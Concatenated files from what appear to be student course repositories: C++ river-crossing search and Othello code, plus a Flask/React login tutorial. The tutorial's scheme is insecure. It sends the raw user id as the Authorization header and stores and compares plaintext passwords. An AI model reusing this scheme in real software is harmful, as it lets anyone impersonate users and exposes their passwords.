tmp = to_string(v[0])+' '+to_string(v[1])+' '+to_string(v[2])+' '+to_string(v[3])+' '+to_string(v[4])+' '+to_string(v[5]);
}
vector<int> string_to_vector(const string &str, char sep)
{
vector<int> v;
stringstream ss(str);
string buffer;
while(getline(ss, buffer, sep) ) {
v.push_back(stoi(buffer));
}
return v;
}
/*
if (c>=w) or c might be 0
and c>=0 and w>=0
auto itr = mp.find("new path");
if( itr != mp.end() ) {
cout << "there is" << endl;
} else {
cout << "there is not" << endl;
}
*******************************************/
bool check_move(vector<int> &node)
{
if(node[0]>=0 and node[1]>=0 and node[3]>=0 and node[4]>=0){
if(node[0]>=node[1] and node[3]>=node[4]){
return true;
}else if(node[0]==0 or node[3]==0){
return true;
}
}
return false;
}
void expand(vector<int> ¤t_node, priority_queue< pis, vector<pis>, myDFSComp > &pq, int depth, unordered_map<string, string> &mp)
{
vector<int> next_node(6);
string next_node_string,current_node_string;
vector_to_string(current_node,current_node_string);
int index1=0,index2=3;
/* check the boat possition */
/* boat is right side, we need to move index of 3,4*/
if(current_node[2] == 0){
index1=3;
index2=0;
}
/*c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
pq.push(pis(depth+1, next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*c2*/
next_node[index1]=current_node[index1]-2;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+2;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
pq.push(pis(depth+1, next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*w1*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
pq.push(pis(depth+1, next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*w1c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
pq.push(pis(depth+1, next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*w2*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-2;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+2;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
pq.push(pis(depth+1, next_node_string));
mp[next_node_string] = current_node_string;
}
}
}
void expand(vector<int> ¤t_node, priority_queue<pis, vector<pis>, myBFSComp > &pq, int depth, unordered_map<string, string> &mp)
{
vector<int> next_node(6);
string next_node_string,current_node_string;
vector_to_string(current_node,current_node_string);
int index1=0,index2=3;
/* check the boat possition */
/* boat is right side, we need to move index of 3,4*/
if(current_node[2] == 0){
index1=3;
index2=0;
}
/*c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
pq.push(pis(depth+1, next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*c2*/
next_node[index1]=current_node[index1]-2;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+2;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
pq.push(pis(depth+1, next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*w1*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
pq.push(pis(depth+1, next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*w1c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
pq.push(pis(depth+1, next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*w2*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-2;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+2;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
pq.push(pis(depth+1, next_node_string));
mp[next_node_string] = current_node_string;
}
}
}
void solve_bfs(string i_s, string g_s, string output)
{
priority_queue<pis, vector<pis>, myBFSComp > pq;
unordered_map<string, string> mp;
int num_explored = 0, current_depth;
string current_state;
bool found = false;
vector<int> initial_state(6);
vector<int> goal_state(6);
read_file(i_s, initial_state);
read_file(g_s, goal_state);
string initial, goal;
vector_to_string(initial_state, initial);
vector_to_string(goal_state, goal);
/* push the initial_state into priority queue and hash table */
pq.push(pis(0,initial));
mp[initial] = "0";
/* loop do */
while(1){
/* if the frontier is empty, then return failure */
if(pq.empty()){
found = false;
break;
}
/* choose a leaf node and remove it from the frontier */
current_state = pq.top().second;
current_depth = pq.top().first;
pq.pop();
cout << "path: " << current_state << endl;
cout << "depth: " << current_depth<<endl;
/* if the node contains a goal state, then return the corresponding solution */
if(current_state == goal){
found = true;
break;
}
++num_explored;
/* expand the chosen node, adding the resulting nodes to the frontier
only if not in the frontier or explored set
****************************************************************************/
vector<int> tmp = string_to_vector(current_state, ' ');
expand(tmp,pq,current_depth,mp);
}
if(found){
cout << num_explored;
}else{
}
}
void solve_dfs(string i_s, string g_s, string output)
{
priority_queue<pis, vector<pis>, myDFSComp > pq;
unordered_map<string, string> mp;
int num_explored = 0, current_depth;
string current_state;
bool found = false;
vector<int> initial_state(6);
vector<int> goal_state(6);
read_file(i_s, initial_state);
read_file(g_s, goal_state);
string initial, goal;
vector_to_string(initial_state, initial);
vector_to_string(goal_state, goal);
/* push the initial_state into priority queue and hash table */
pq.push(pis(0,initial));
mp[initial] = "0";
/* loop do */
while(1){
/* if the frontier is empty, then return failure */
if(pq.empty()){
found = false;
break;
}
/* choose a leaf node and remove it from the frontier */
current_state = pq.top().second;
current_depth = pq.top().first;
pq.pop();
cout << "path: " << current_state << endl;
cout << "depth: " << current_depth <<endl;
/* if the node contains a goal state, then return the corresponding solution */
if(current_state == goal){
found = true;
break;
}
++num_explored;
/* expand the chosen node, adding the resulting nodes to the frontier
only if not in the frontier or explored set
****************************************************************************/
vector<int> tmp = string_to_vector(current_state, ' ');
expand(tmp,pq,current_depth,mp);
}
if(found){
cout << "# of nodes: "<< num_explored << endl;
cout << "--------------------------------- debug ---------------------------" << endl;
while(!pq.empty()){
cout << "path: " << pq.top().second << endl;
cout << "depth: " << pq.top().first << endl;
pq.pop();
}
}else{
}
}
void solve_iddfs(string i_s, string g_s, string output)
{
}
void solve_astar(string i_s, string g_s, string output)
{
}
void test_expand(priority_queue<pis, vector<pis>, myBFSComp > &pq, unordered_map<string, string> &mp){
pq.push(pis(5,"3 3 3 3 3 3"));
mp["test"] = "check";
}
void test(string i_s, string g_s)
{
priority_queue<pis, vector<pis>, myDFSComp > pq;
unordered_map<string, string> mp;
vector<int> v={0,0,0,3,3,1};
vector<int> v2={3,3,1,0,0,0};
pq.push(pis(2,"3 2 0 0 1 1"));
pq.push(pis(2,"3 1 0 0 2 1"));
pq.push(pis(2,"2 2 0 1 1 1"));
pq.push(pis(1,"0 1 1 3 2 0"));
pq.push(pis(1,"1 1 1 2 2 0"));
pq.push(pis(1,"0 2 1 3 1 0"));
/*
expand(v, pq, 0, mp);
pq.push(pis(10,"test"));
expand(v2, pq, 1, mp);
*/
while(!pq.empty()){
cout << "d: " << pq.top().first << endl;
cout << pq.top().second <<endl;
pq.pop();
}
//cout << "previous node: "<< mp["0 1 1 3 2 0"] <<endl;
/*
int num_explored = 0;
bool found = false;
vector<int> initial_state(6);
vector<int> goal_state(6);
read_file(i_s, initial_state);
read_file(g_s, goal_state);
string initial, goal;
vector_to_string(initial_state, initial);
vector_to_string(goal_state, goal);
cout << "initial: " << initial <<endl;
cout << "goal: " << goal <<endl;
cout << "----------------" <<endl;
test_expand(pq,mp);
pq.push(pis(2,"3 1 1 0 2 0"));
pq.push(pis(0,"3 3 1 0 0 0"));
pq.push(pis(1,"3 2 0 0 1 1"));
while(!pq.empty()){
cout << "depth: " << pq.top().first << endl <<endl;
cout << "state: " << pq.top().second << endl;
vector<int> v = string_to_vector(pq.top().second, ' ');
cout << "test s_to_v function" << endl;
for(int num: v){
cout << num << ' ';
}
cout<< endl;
mp[pq.top().second] = "previous node";
pq.pop();
cout << "-------------------" <<endl;
}
cout << "------------mp-----------------" << endl;
for(auto itr = mp.begin(); itr != mp.end(); ++itr){
cout << "mp value: " << itr->first << endl;
cout << "previous node: " << itr->second <<endl<<"-----------" <<endl;
}
cout << "\n--------find-----------" <<endl;
auto itr = mp.find("3 1 1 0 2 0");
if( itr != mp.end() ) {
cout << "there is" << endl;
} else {
cout << "there is not" << endl;
}
*/
}
/*
< initial state file > < goal state file > < mode > < output file >
*/
int main(int argc, char *argv[])
{
if(argc < 5){
fprintf(stderr,"Example usage: ./main <initial state file> <goal state file> <mode> <output file> \n");
return EXIT_FAILURE;
}
if(strcmp(argv[3], "bfs") == 0){
test(argv[1], argv[2]);
//solve_bfs(argv[1], argv[2], argv[4]);
}else if(strcmp(argv[3], "dfs") == 0){
solve_dfs(argv[1], argv[2], argv[4]);
}else if(strcmp(argv[3], "iddfs") == 0){
solve_iddfs(argv[1], argv[2], argv[4]);
}else if(strcmp(argv[3], "astar") == 0){
solve_astar(argv[1], argv[2], argv[4]);
}else{
fprintf(stderr, "invalid mode\n");
return EXIT_FAILURE;
}
return 0;
}
<file_sep>//#include <bits/stdc++.h>
#include<iostream>
#include<string>
#include<fstream>
#include<cstring>
#include<vector>
#include<unordered_map>
#include<queue>
using namespace std;
#ifndef DEBUG
#define DEBUG true
#endif
#define All(obj) (obj).begin(),(obj).end()
#define REP(i,n) for(int i=0;i<(n);++i)
#define REPR(i,n) for(int i=0; i>=(n);--i)
#define FOR(i,b,n) for(int i=(b);i<(n);++i)
typedef long long ll;
const int M=2e5+5;
const int INF=2e9;
const int MOD=1e9+7;
/*
template<typename T>
void hash_combine(size_t & seed, T const& v){
seed ^= std::hash<T>{}(v) + 0x9e3779b97f4a7c15LLU + (seed<<12) + (seed>>4);
}
*/
/*
I assumed that
boat = 1 for right side,
boat = -1 for left side
******************************/
class Node{
public:
int r_chickens;
int r_wolves;
int l_chickens;
int l_wolves;
int boat;
/* this depth is for priprity queue */
int depth;
};
/*
bool operator==(const Node &left, const Node &right){
return left.r_chickens == right.r_chickens and
left.r_wolves == right.r_wolves and
left.boat == right.boat;
}
namespace std{
template<>
struct hash<Node>{
public:
size_t operator()(const Node &data)const {
std::size_t seed = 0;
hash_combine(seed, data.r_chickens);
hash_combine(seed, data.r_wolves);
hash_combine(seed, data.boat);
return seed;
}
};
}
*/
/* overloaded for priority queue with Node class */
bool operator> (const Node &node1, const Node &node2){
return node1.depth > node2.depth;
};
bool operator< (const Node &node1, const Node &node2){
return node1.depth < node2.depth;
};
void read_file(string input, vector<vector<int>> &vv)
{
ifstream ifs(input);
if(ifs.fail()){
fprintf(stderr,"Invalid input file name\n");
exit(2);
}
char c;
for(int i = 0; i < 2; ++i){
for(int j = 0; j < 3; ++j){
ifs >> vv[i][j];
if(j!=2){
ifs >> c;
}
}
}
ifs.close();
}
/*need to print out the number of search nodes expanded*/
void write_file(string output, int num_node, bool solved)
{
ofstream ofs(output);
if(solved){
ofs << num_node;
}else{
ofs << "no solution found";
}
ofs.close();
}
void solve_bfs(string i_s, string g_s, string output)
{
priority_queue<Node, vector<Node>, greater<Node>> pq;
unordered_map<string, int> map;
//unordered_map<Node, int> map;
vector<vector<int>> initial_state(2,vector<int>(3));
vector<vector<int>> goal_state(2,vector<int>(3));
read_file(i_s, initial_state);
read_file(g_s, goal_state);
/* c1 w1 c2 w2 b1-b2 depth*/
//map[ {initial_state[0][0],initial_state[0][1],initial_state[1][0],initial_state[1][1], (initial_state[0][2]-initial_state[1][2]) , 0} ] = 0;
//pq.push({initial_state[0][0],initial_state[0][1],initial_state[1][0],initial_state[1][1], (initial_state[0][2]-initial_state[1][2]) , 0});
/* debug */
/*
map["3 1 0 2 -1"] = 2;
map["0 0 3 3 1"] = 0;
map["3 3 0 0 -1"] = 1;
*/
pq.push({3,1,0,2,-1,2});
pq.push({0,0,3,3,1,0});
pq.push({3,3,0,0,-1,1});
while(!pq.empty()){
cout << "depth: " << pq.top().depth << endl <<endl;
cout << "right side: " << pq.top().r_chickens << " : " << pq.top().r_wolves << endl;
cout << "left side: " << pq.top().l_chickens << " : " << pq.top().l_wolves << endl;
cout << pq.top().boat << endl;
string tmp = to_string(pq.top().r_chickens)+' '+to_string(pq.top().r_wolves)+' '+to_string(pq.top().l_chickens)+' '+to_string(pq.top().l_wolves)+' '+to_string(pq.top().boat);
cout << "tmp: " << tmp << endl << "--"<< endl;;
map[tmp] = pq.top().depth;
pq.pop();
}
cout << "------------map-----------------" << endl;
for(auto itr = map.begin(); itr != map.end(); ++itr){
cout << "map value: " << itr->first << endl;
cout << "depth: " << itr->second <<endl;
}
/*
for(auto itr = map.begin(); itr != map.end(); ++itr) {
cout << "right side: " << itr->first.r_chickens << " : " << itr->first.r_wolves << endl;
cout << "left side: " << itr->first.l_chickens << " : " << itr->first.l_wolves << endl;
cout << itr->first.boat << endl << endl;
cout << "depth: " << itr->first.depth << " and " << itr->second << endl << "--"<< endl;
}
*/
auto itr = map.find("3 1 0 2 -1");
if( itr != map.end() ) {
cout << "there is" << endl;
} else {
cout << "there is not" << endl;
}
}
void solve_dfc(string i_s, string g_s, string output)
{
priority_queue<Node> pq;
vector<vector<int>> initial_state(2,vector<int>(3));
vector<vector<int>> goal_state(2,vector<int>(3));
read_file(i_s, initial_state);
read_file(g_s, goal_state);
}
void solve_iddfs(string i_s, string g_s, string output)
{
vector<vector<int>> initial_state(2,vector<int>(3));
vector<vector<int>> goal_state(2,vector<int>(3));
read_file(i_s, initial_state);
read_file(g_s, goal_state);
}
void solve_astar(string i_s, string g_s, string output)
{
vector<vector<int>> initial_state(2,vector<int>(3));
vector<vector<int>> goal_state(2,vector<int>(3));
read_file(i_s, initial_state);
read_file(g_s, goal_state);
}
/*
< initial state file > < goal state file > < mode > < output file >
*/
int main(int argc, char *argv[])
{
if(argc < 5){
fprintf(stderr,"Example usage: ./main <initial state file> <goal state file> <mode> <output file> \n");
return EXIT_FAILURE;
}
if(strcmp(argv[3], "bfs") == 0){
solve_bfs(argv[1], argv[2], argv[4]);
}else if(strcmp(argv[3], "dfs") == 0){
solve_dfc(argv[1], argv[2], argv[4]);
}else if(strcmp(argv[3], "iddfs") == 0){
solve_iddfs(argv[1], argv[2], argv[4]);
}else if(strcmp(argv[3], "astar") == 0){
solve_astar(argv[1], argv[2], argv[4]);
}else{
fprintf(stderr, "invalid mode\n");
return EXIT_FAILURE;
}
return 0;
}
<file_sep>/*
* OthelloBoard.cpp
*
* Created on: Apr 18, 2015
* Author: wong
*/
#include <assert.h>
#include "OthelloBoard.h"
OthelloBoard::OthelloBoard(int cols, int rows, char p1_symb, char p2_symb) :
Board(cols, rows), p1_symbol(p1_symb), p2_symbol(p2_symb) {
}
OthelloBoard::OthelloBoard(const OthelloBoard& other) :
Board(other), p1_symbol(other.p1_symbol), p2_symbol(other.p2_symbol) {
}
OthelloBoard::~OthelloBoard() {
}
void OthelloBoard::initialize() {
set_cell(num_cols / 2 - 1, num_rows / 2 - 1, p1_symbol);
set_cell(num_cols / 2, num_rows / 2, p1_symbol);
set_cell(num_cols / 2 - 1, num_rows / 2, p2_symbol);
set_cell(num_cols / 2, num_rows / 2 - 1, p2_symbol);
}
OthelloBoard& OthelloBoard::operator=(const OthelloBoard& rhs) {
Board::operator=(rhs);
p1_symbol = rhs.p1_symbol;
p2_symbol = rhs.p2_symbol;
return *this;
}
void OthelloBoard::set_coords_in_direction(int col, int row, int& next_col,
int& next_row, int dir) const {
switch (dir) {
case N:
next_col = col;
next_row = row + 1;
break;
case NE:
next_col = col + 1;
next_row = row + 1;
break;
case E:
next_col = col + 1;
next_row = row;
break;
case SE:
next_col = col + 1;
next_row = row - 1;
break;
case S:
next_col = col;
next_row = row - 1;
break;
case SW:
next_col = col - 1;
next_row = row - 1;
break;
case W:
next_col = col - 1;
next_row = row;
break;
case NW:
next_col = col - 1;
next_row = row + 1;
break;
default:
assert("Invalid direction");
}
}
bool OthelloBoard::check_endpoint(int col, int row, char symbol, int dir,
bool match_symbol) const {
int next_row = -1;
int next_col = -1;
if (!is_in_bounds(col, row) || is_cell_empty(col, row)) {
return false;
} else {
if (match_symbol) {
if (get_cell(col, row) == symbol) {
return true;
} else {
set_coords_in_direction(col, row, next_col, next_row, dir);
return check_endpoint(next_col, next_row, symbol, dir,
match_symbol);
}
} else {
if (get_cell(col, row) == symbol) {
return false;
} else {
set_coords_in_direction(col, row, next_col, next_row, dir);
return check_endpoint(next_col, next_row, symbol, dir,
!match_symbol);
}
}
}
}
bool OthelloBoard::is_legal_move(int col, int row, char symbol) const {
bool result = false;
int next_row = -1;
int next_col = -1;
if (!is_in_bounds(col, row) || !is_cell_empty(col, row)) {
return result;
}
for (int d = N; d <= NW; d++) {
set_coords_in_direction(col, row, next_col, next_row, d);
if (check_endpoint(next_col, next_row, symbol, d, false)) {
result = true;
break;
}
}
return result;
}
int OthelloBoard::flip_pieces_helper(int col, int row, char symbol, int dir) {
int next_row = -1;
int next_col = -1;
if (get_cell(col, row) == symbol) {
return 0;
} else {
set_cell(col, row, symbol);
set_coords_in_direction(col, row, next_col, next_row, dir);
return 1 + flip_pieces_helper(next_col, next_row, symbol, dir);
}
}
int OthelloBoard::flip_pieces(int col, int row, char symbol) {
int pieces_flipped = 0;
int next_row = -1;
int next_col = -1;
assert(is_in_bounds(col, row));
for (int d = N; d <= NW; d++) {
set_coords_in_direction(col, row, next_col, next_row, d);
if (check_endpoint(next_col, next_row, symbol, d, false)) {
pieces_flipped += flip_pieces_helper(next_col, next_row, symbol, d);
}
}
return pieces_flipped;
}
bool OthelloBoard::has_legal_moves_remaining(char symbol) const {
for (int c = 0; c < num_cols; c++) {
for (int r = 0; r < num_rows; r++) {
if (is_cell_empty(c, r) && is_legal_move(c, r, symbol)) {
return true;
}
}
}
return false;
}
int OthelloBoard::count_score(char symbol) const {
int score = 0;
for (int c = 0; c < num_cols; c++) {
for (int r = 0; r < num_rows; r++) {
if (grid[c][r] == symbol) {
score++;
}
}
}
return score;
}
void OthelloBoard::play_move(int col, int row, char symbol) {
set_cell(col, row, symbol);
flip_pieces(col, row, symbol);
}
<file_sep>## Instruction
In the wolves and chickens puzzle, C chickens and W wolves must cross from the right bank of a river to the left bank using a boat. The boat holds a maximum of two animals. In addition, the boat cannot cross the river by itself and must have at least one animal on board to drive it. This problem seems simple except for the following key constraint. If there are chickens present on a bank, there cannot be more wolves than chickens, otherwise the wolves will eat the chickens.
Write code to solve the chickens and wolves puzzle using uninformed and informed search algorithms. The algorithms you will implement are breadth-first search, depth-first search, iterative deepening depth-first search and A-star search. Your code will print out the states along the solution path from the start state to the goal state. If no such path exists, your code must print out a no solution found message. In addition, your code must also print out the number of search nodes expanded.
## Example of compile a code program to create an executable file
```sh
g++ -o main main.cpp
```
There are three test cases that you should run your algorithm on.
## Example of run program commands
```sh
$ ./main start1.txt goal1.txt bfs bfs1.txt
```
There are shell scripts for my code.
```sh
$ bash compileall
```
<file_sep>#include <iostream>
#include <cstring>
#include <stdlib.h>
#include "GameDriver.h"
GameDriver::GameDriver(char* p1type, char* p2type, int num_rows, int num_cols) {
if( strcmp(p1type,"human") == 0 ) {
p1 = new HumanPlayer('X');
} else if( strcmp(p1type,"minimax") == 0 ) {
p1 = new MinimaxPlayer('X');
} else {
std::cout << "Invalid type of player for player 1" << std::endl;
}
if( strcmp(p2type,"human") == 0 ) {
p2 = new HumanPlayer('O');
} else if( strcmp(p2type,"minimax") == 0 ) {
p2 = new MinimaxPlayer('O');
} else {
std::cout << "Invalid type of player for player 2" << std::endl;
}
board = new OthelloBoard(num_rows, num_cols,p1->get_symbol(), p2->get_symbol());
board->initialize();
}
GameDriver::GameDriver(const GameDriver& other) {
board = new OthelloBoard(*(other.board));
p1 = other.p1->clone();
p2 = other.p2->clone();
}
GameDriver& GameDriver::operator=(const GameDriver& rhs) {
if (this == &rhs) {
return *this;
} else {
if( board != NULL ) {
delete board;
}
board = new OthelloBoard(*(rhs.board));
if( p1 != NULL ) {
delete p1;
p1 = rhs.p1->clone();
}
if( p2 != NULL ) {
delete p2;
p2 = rhs.p2->clone();
}
return *this;
}
}
GameDriver::~GameDriver() {
delete board;
delete p1;
delete p2;
}
void GameDriver::display() {
std::cout << std::endl << "Player 1 (" << p1->get_symbol() << ") score: "
<< board->count_score(p1->get_symbol()) << std::endl;
std::cout << "Player 2 (" << p2->get_symbol() << ") score: "
<< board->count_score(p2->get_symbol()) << std::endl << std::endl;
board->display();
}
void GameDriver::process_move(Player* curr_player, Player* opponent) {
int col = -1;
int row = -1;
bool invalid_move = true;
while (invalid_move) {
curr_player->get_move(board, col, row);
if (!board->is_legal_move(col, row, curr_player->get_symbol())) {
std::cout << "Invalid move.\n";
continue;
} else {
std::cout << "Selected move: col = " << col << ", row = " << row << std::endl;
board->play_move(col,row,curr_player->get_symbol());
invalid_move = false;
}
}
}
void GameDriver::run() {
int toggle = 0;
int cant_move_counter=0;
Player* current = p1;
Player* opponent = p2;
display();
std::cout << "Player 1 (" << p1->get_symbol() << ") move:\n";
while (1) {
if( board->has_legal_moves_remaining(current->get_symbol())) {
cant_move_counter = 0;
process_move(current, opponent);
display();
} else {
std::cout << "Can't move\n";
if( cant_move_counter == 1 ) {
// Both players can't move, game over
break;
} else {
cant_move_counter++;
}
}
toggle = (toggle + 1) % 2;
if (toggle == 0) {
current = p1;
opponent = p2;
std::cout << "Player 1 (" << p1->get_symbol() << ") move:\n";
} else {
current = p2;
opponent = p1;
std::cout << "Player 2 (" << p2->get_symbol() << ") move:\n";
}
}
if ( board->count_score(p1->get_symbol()) == board->count_score(p2->get_symbol())) {
std::cout << "Tie game" << std::endl;
} else if ( board->count_score(p1->get_symbol()) > board->count_score(p2->get_symbol())) {
std::cout << "Player 1 wins" << std::endl;
} else {
std::cout << "Player 2 wins" << std::endl;
}
}
int main(int argc, char** argv) {
if( argc != 3 ) {
std::cout << "Usage: othello <player1 type> <player2 type>" << std::endl;
exit(-1);
}
GameDriver* game = new GameDriver(argv[1],argv[2],4,4);
game->run();
return 0;
}
<file_sep>
## Instruction
The goal of sentiment analysis is to determine the writer's attitude toward the topic about which they are writing. It can be applied to text from reviews and survey responses (and perhaps even course evaluations!) to determine whether the writer feels positively or negatively about the subject. In this assignment, you will predict the sentiment sentences taken from Yelp reviews, using data. You will be using naive Bayes for this classification problem. Given an input sentence, you are to determine whether a sentence is positive or negative.
In the training phase, the naive Bayes classifier reads in the training data along with the training labels and learns the parameters used by the classifier
In the testing phase, the trained naive Bayes classifier classifies the data in the testSet.txt data file. Use the preprocessed data you generated above.
Output the accuracy of the naive Bayes classifier by comparing the predicted class label of each sentence in the test data to the actual class label. The accuracy is the number of correct predictions divided by the total number of predictions.
## Example of compile a code program to create an executable file
```sh
g++ --std=c++11 p3.cpp -o p3
```
## Example of run program commands
```sh
.\p3.exe > check.txt
```
<file_sep>#!/bin/bash
./main start1.txt goal1.txt astar astar1.txt
./main start2.txt goal2.txt astar astar2.txt
./main start3.txt goal3.txt astar astar3.txt | 782232aba1e93d29b85f5dfcccef4bd79874a4cf | [
"Markdown",
"Makefile",
"C++",
"Shell"
] | 22 | C++ | OSUsatoru/cs331_codes | 724a1c2ed9c88d99e66bfb0aa533142dd11f6611 | ea69a0f0c52c342a7c6f907e436712aac1eec882 |
refs/heads/main | <file_sep>const Profile = (props) => {
return (
<div>
Welcome back, {props.user.email}!
</div>
)
}
export default Profile<file_sep># Authorization in Flask
We're going to build the same super basic user authentication app as before, but this time with Flask as our backend instead of Express!
### Overview
A react frontend is already provided in the `frontend` folder. Take a little tour of it, and re-familiarize yourself with the auth flow.
A flask backend skeleton is already set up. It contains a create-users migration that is ready to run, and a user model. The `application.py` is also ready to start building routes.
### Setup
To set up the front end:
1. `cd` into the folder
1. Create a `.env` file and put your `REACT_APP_BACKEND_URL` into it.
1. `yarn install`
1. `yarn start`
To set up the back end:
1. `cd` into the folder
1. Create a `.env` file and put your `DATABASE_URL` into it.
1. Set up a virtual environment & activate it
1. `pip3 install -r requirements.txt`
1. Create a database (name corresponding to your DATABASE_URL), and run migrations
1. `python3 application.py`
### Auth flow
1. A user can create an account: inserts a row into our `users` table, and sends the user json (including email and id). If there is an error (for example, email already taken), send a meaningful error message back to the frontend. The http route for this will be `POST /users`.
1. A user can login: look up the user with the email submitted in the request, and check if that user's password is the same as the password submitted in the request. If they match, send back the user json. If not, send an error message. The http route for this will be `POST /users/login`.
1. A user can log out: this is handled entirely by the frontend. It clears the userId from localStorage, and sets the user state to an empty object.
1. When the frontend gets loaded, it will make a call to the `GET /users/verify` endpoint. This call will include a user id in its Authorization header. Look up the user with that id. If there is one, respond with the user json. If not, send an error message.
### Notes
While flask does come with some things that we had to install manually in express (body parsing, logging, routes table, etc.), it does NOT come with cors permitting. We have to install it:
```
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
```
This package has a known side effect: on the frontend every error will be masked as a CORS error. The real error is still visible in backend though.
<file_sep>import os
from flask import Flask, request
from flask_cors import CORS
import sqlalchemy
app = Flask(__name__)
CORS(app)
app.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get('DATABASE_URL')
import models
models.db.init_app(app)
def root():
return 'ok'
app.route('/', methods=["GET"])(root)
if __name__ == '__main__':
port = os.environ.get('PORT') or 5000
app.run('0.0.0.0', port=port, debug=True)<file_sep>from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
class User(db.Model):
__tablename__ = 'users'
id = db.Column(db.Integer, primary_key=True)
email = db.Column(db.String, nullable=False, unique=True)
password = db.Column(db.String)
def to_json(self):
return {
"id": self.id,
"email": self.email
}<file_sep>import { useState, useEffect } from 'react'
import { Route, Redirect } from 'react-router-dom'
import axios from 'axios'
import './App.css';
import Navbar from './components/Navbar'
import Home from './pages/Home'
import Signup from './pages/Signup'
import Login from './pages/Login'
import Profile from './pages/Profile'
function App() {
const [user, setUser] = useState({})
const fetchUser = () => {
if (localStorage.getItem('userId')) {
axios.get(`${process.env.REACT_APP_BACKEND_URL}/users/verify`, {
headers: {
Authorization: localStorage.getItem('userId')
}
})
.then((response) => {
setUser(response.data.user)
})
}
}
useEffect(fetchUser, [])
return (
<div>
<Navbar user={user} setUser={setUser} />
<Route path="/" exact component={Home} />
<Route path="/signup" render={(routeInfo) => {
if (user.id) {
return <Redirect to="/profile" />
} else {
return <Signup setUser={setUser} />
}
}} />
<Route path="/login" render={(routeInfo) => {
if (user.id) {
return <Redirect to="/profile" />
} else {
return <Login setUser={setUser} />
}
}} />
<Route path="/profile" render={(routeInfo) => {
if (user.id) {
return <Profile user={user} />
} else {
return <Redirect to="/login" />
}
}} />
</div>
);
}
export default App;
<file_sep>import { useState } from 'react'
import axios from 'axios'
const Login = (props) => {
const [email, setEmail] = useState('')
const [password, setPassword] = useState('')
const [error, setError] = useState('')
const handleSubmit = (e) => {
e.preventDefault()
setError('')
axios.post(`${process.env.REACT_APP_BACKEND_URL}/users/login`, {
email, password
})
.then((response) => {
props.setUser(response.data.user)
localStorage.setItem('userId', response.data.user.id)
})
.catch((err) => {
setError(err.response.data.message)
})
}
return (
<div>
<h2>Log into your accout!</h2>
{ error &&
<div className="error">{error}</div>}
<form onSubmit={handleSubmit}>
<div>
<label htmlFor="signup-email">Email:</label>
<input id="signup-email" value={email} onChange={(e) => setEmail(e.target.value)} />
</div>
<div>
<label htmlFor="signup-password">Password:</label>
<input id="signup-password" type="<PASSWORD>" value={password} onChange={(e) => setPassword(e.target.value)} />
</div>
<div>
<input type="submit" value="Log in!" ></input>
</div>
</form>
</div>
)
}
export default Login | 451b6b6a2bcb1cc978b8539fda8217e5269a1d98 | [
"JavaScript",
"Python",
"Markdown"
